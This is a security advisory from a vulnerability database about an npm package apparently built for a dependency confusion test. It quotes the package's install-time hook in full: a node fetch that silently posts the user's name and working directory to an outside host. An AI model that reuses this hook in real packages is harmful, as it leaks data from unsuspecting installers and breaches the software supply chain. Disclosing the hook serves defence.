VDB

GCVE-110-OSM-2026-2079

GCVE-110-OSM-2026-2079
Advisory PublishedCVSS 5.4/10
Vulnetix · Advisory published April 12, 2026
This is probably a bug bounty style package that is attempting a dependency confusion attack. Behaviors: install-time execution via package.json Payload: package.json Runs this command from the package.json: "node -e \"fetch('https://httpbin.org/post',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({backdoor:'supply-chain activated', package:'supply-chain-research-backdoor', cwd:process.cwd(), user:process.env.USER})}).catch(()=>{}); console.log('Research postinstall complete')" Key findings: - POST Method Defined for Exfiltration in package.json: "method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({b..." - Platform Detection with Data Collection in package.json: "JSON.stringify({backdoor:'supply-chain activated', package:'supply-chain-researc..." - Very New NPM Publisher Account

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
5.4/10
Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products

VendorProductVersionsPlatforms
unknownsupply-chain-research-backdoorall (affected)

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